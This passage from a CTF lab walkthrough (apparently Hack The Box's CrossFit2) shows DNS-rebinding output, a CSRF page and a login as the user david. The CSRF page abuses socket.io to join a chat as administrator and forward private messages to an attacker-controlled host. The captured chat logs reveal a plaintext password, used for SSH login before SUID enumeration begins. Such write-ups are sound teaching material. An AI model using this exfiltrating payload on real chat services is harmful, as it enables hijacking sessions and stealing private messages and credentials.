  [+] Running DNS Proxy for 10.10.14.28
  [-] (10:45:54) [*] Cooking A replies to point to 10.10.14.28 matching: fake-employees.crossfit.htb
  [-] (10:45:54) [*] Cooking A replies to point to 10.10.14.28 matching: crossfit-club.htb
  [1] (10:47:50) [*] 10.10.10.232: cooking the response of type 'A' for fake-employees.crossfit.htb to 10.10.14.28
  [2] (10:47:50) [*] 10.10.10.232: cooking the response of type 'A' for fake-employees.crossfit.htb to 10.10.14.28

The machine then made a request to the web server running on the attacker machine. The machine is looking for /password-reset.php from the local server based on the data intercepted via netcat:

GET /password-reset.php?token=45c7db497eca1bde4af563a37800a2fce311494bfb4f998701f3e806881841a2e4ce19a6033857384dbcde3fc9cd286b03517fe99d749b5d79825150a734a9f9 HTTP/1.1
Host: fake-employees.crossfit.htb
User-Agent: Mozilla/5.0 (X11; OpenBSD amd64; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://crossfit-club.htb/
Upgrade-Insecure-Requests: 1

There are a few interesting things here from the intercepted HTTP request. First, a valid token has been leaked. However, when you attempt to use it to reset the password of david.palmer@crossfit.htb, you get the following response -- “We are sorry, but password reset has been temporarily disabled.”:

Another thing is that the referrer of the HTTP request came from http://crossfit-club.htb. Some user that is currently logged in to the service is clicking on the password reset links. This might be an opening for a CSRF (Cross-site Request Forgery) Attack.

3.6 CSRF (password-reset.php)

Looking at the page source of http://crossfit-club.htb, there are a bunch of javascript files embedded:

$ curl --silent http://crossfit-club.htb/login | tidy 2>/dev/null

  [..omitted..]
  <script src="/js/chunk-vendors~a2e3b7a8.add5cb47.js"></script>
  <script src="/js/chunk-vendors~ae3da056.9d253641.js"></script>
  <script src="/js/chunk-vendors~2a42e354.b6526da4.js"></script>
  <script src="/js/chunk-vendors~7274e1de.6b9d4dce.js"></script>
  <script src="/js/chunk-vendors~7d359b94.c5efd8b4.js"></script>
  <script src="/js/chunk-vendors~69ddfae0.eec560ca.js"></script>
  <script src="/js/chunk-vendors~f9ca8911.8262afb1.js"></script>
  <script src="/js/chunk-vendors~1c3a2c3f.e0a80b78.js"></script>
  <script src="/js/chunk-vendors~cfbf0a2e.c57c68ae.js"></script>
  <script src="/js/chunk-vendors~fdc6512a.317a5502.js"></script>
  <script src="/js/chunk-vendors~6ff199a4.cd7a889d.js"></script>
  <script src="/js/chunk-vendors~b06fff24.dad67692.js"></script>
  <script src="/js/chunk-vendors~456318af.4cb6d30a.js"></script>
  <script src="/js/chunk-vendors~b1f96ece.03d078ca.js"></script>
  <script src="/js/chunk-vendors~d2305125.72dc1ecf.js"></script>
  <script src="/js/chunk-vendors~4a7e9e0b.33fdc63f.js"></script>
  <script src="/js/chunk-vendors~03631906.67e21e66.js"></script>
  <script src="/js/chunk-vendors~b70f2fe9.15b78819.js"></script>
  <script src="/js/app~748942c6.ead68abe.js"></script>
  [..omitted..]

Reviewing /js/app~748942c6.ead68abe.js, it is apparent that the application was written using VueJS and the interesting thing here are the functions for the chat feature of the service:

[..omitted..]
components: {
    ChatWindow: ye.a
},
created() {
    let e = this;
    xe = Ce.a.connect("http://crossfit-club.htb", {
        transports: ["polling"]
    }), window.addEventListener("beforeunload", (function (t) {
        xe.emit("remove_user", {
            uid: e.currentUserId
        })
    })), xe.on("disconnect", e => {
        this.$router.replace("/login")
    }), xe.emit("user_join", {
        username: localStorage.getItem("user")
    }), xe.on("participants", e => {
        e && e.length && (this.rooms[0].users = e, this.renderUsers())
    }), xe.on("new_user", e => {
        e.username === localStorage.getItem("user") && (this.currentUserId = e._id, console.log(this.currentUserId))
    }), xe.on("recv_global", e => {
        this.addMessage(e)
    }), xe.on("private_recv", e => {
        this.addMessage(e)
    })
},
[..omitted..]

The xe object seems to be derived from socket.io given that there are emit() and connect() function calls. To add, socket.io is often integrated in VueJS applications when handling messaging features. This could be verified by checking the default path of socket.io:

$ curl -I -s http://crossfit-club.htb/socket.io/socket.io.js

  HTTP/1.1 200 OK
  Cache-Control: public, max-age=0
  Connection: keep-alive
  Connection: close
  Connection: close
  Content-Type: application/javascript
  Date: Sun, 25 Apr 2021 15:27:48 GMT
  ETag: "2.3.0"

The application indeed uses socket.io. Since the server now looks for /password-reset.php from the local web server, I can create one with a CSRF payload that will let me join a chat room and intercept the messages sent by other uses when triggered:

<html>
    <script src="http://crossfit-club.htb/socket.io/socket.io.js"></script>
    <script>
         var socket = io.connect("http://crossfit-club.htb");
         socket.emit("user_join", { username : "administrator" });
         socket.on("private_recv", (data) => {
            var xhr = new XMLHttpRequest();
            xhr.open("GET", "http://fake-employees.crossfit.htb/?x=" + JSON.stringify(data));
            xhr.send();
        });
    </script>
</html>

To use this, start a PHP web server running on port 80 where the created password-reset.php file is:

$ sudo php -S 0.0.0.0:80

Then run the DNS rebind exploit script again:

$ sudo ./dns_proxy.sh 10.10.14.28 new_unbound.conf

Looking back at the started PHP web server, messages inside the chat room are being intercepted:

[Sun Apr 25 11:42:35 2021] 10.10.10.232:13373 [200]: GET /password-reset.php?token=95288bcf0bd115fff72952c3b94c12e03e7fac0c03c5bd8b8421394b8c52718c6b51ab1bbab22b6dbd0dc2b096e03e454d0eb1cbe4f35da1d2bc58889e960042
[..omitted..]
[Sun Apr 25 11:42:36 2021] 10.10.10.232:16369 [404]: GET /favicon.ico - No such file or directory
[..omitted..]
[Sun Apr 25 11:43:04 2021] 10.10.10.232:26839 [404]: GET /?x={%22sender_id%22:15,%22content%22:%22Someone%20built%20a%20working%2016%20bit%20computer%20using%20nothing%20but%20the%20basic%20Minecraft%20building%20blocks.%20I%20wonder%20what%20kind%20warranty%20that%20one%20has?!%22,%22roomId%22:15,%22_id%22:759} - No such file or directory
[..omitted..]
[Sun Apr 25 11:43:44 2021] 10.10.10.232:38619 [404]: GET /?x={%22sender_id%22:2,%22content%22:%22Hello%20David,%20I%27ve%20added%20a%20user%20account%20for%20you%20with%20the%20password%20`NWBFcSe3ws4VDhTB`.%22,%22roomId%22:2,%22_id%22:760} - No such file or directory
[..omitted..]
[Sun Apr 25 11:43:55 2021] 10.10.10.232:31873 [404]: GET /?x={%22sender_id%22:15,%22content%22:%22I%20wonder%20if%20they%20still%20make%20computers%20that%20ran%20on%20water,%20not%20sure%20is%20the%20best%20idea%20to%20mix%20water%20with%20tech%22,%22roomId%22:15,%22_id%22:762} - No such file or directory
[..omitted..]

One particular message contains credentials for the user, david (password: NWBFcSe3ws4VDhTB):

{
    "Sender_id":2,
    "content":"Hello David, I've added a user account for you with the password `NWBFcSe3ws4VDhTB`.",
    "roomId":2,
    "_id":760
}

PART 4 : SHELL AS david

4.1 LOGGING IN AS david

Using the credentials found for the user, david, to login via SSH:

$ sshpass -p NWBFcSe3ws4VDhTB ssh -l david 10.10.10.232

crossfit2:david {1} id

  uid=1004(david) gid=1004(david) groups=1004(david), 1003(sysadmins)

crossfit2:david {2} ls -l

  total 4
  -r--------  1 david  david  33 Feb  2 15:34 user.txt

4.2 GROUP ENUMERATION

The current user, david, is a member of the sysadmins group as well as the user, john, which means that the contents of /opt/sysadmin are shared and writable by both users:

crossfit2:david {3} cat /etc/group | grep sysadmins

  sysadmins:*:1003:david,john

crossfit2:david {4} sh

crossfit2$ find / -group sysadmins -ls 2>/dev/null

  1244170    4 drwxrwxr-x    3 root     sysadmins      512 Feb  3 04:45 /opt/sysadmin

Checking for SUID binaries, there is one executable that can’t be run globally, /usr/local/bin/log, it belongs to the root user and the staff group wherein the user, john, is a member of:

crossfit2$ find / -user root -perm -4000 -type f -ls 2>/dev/null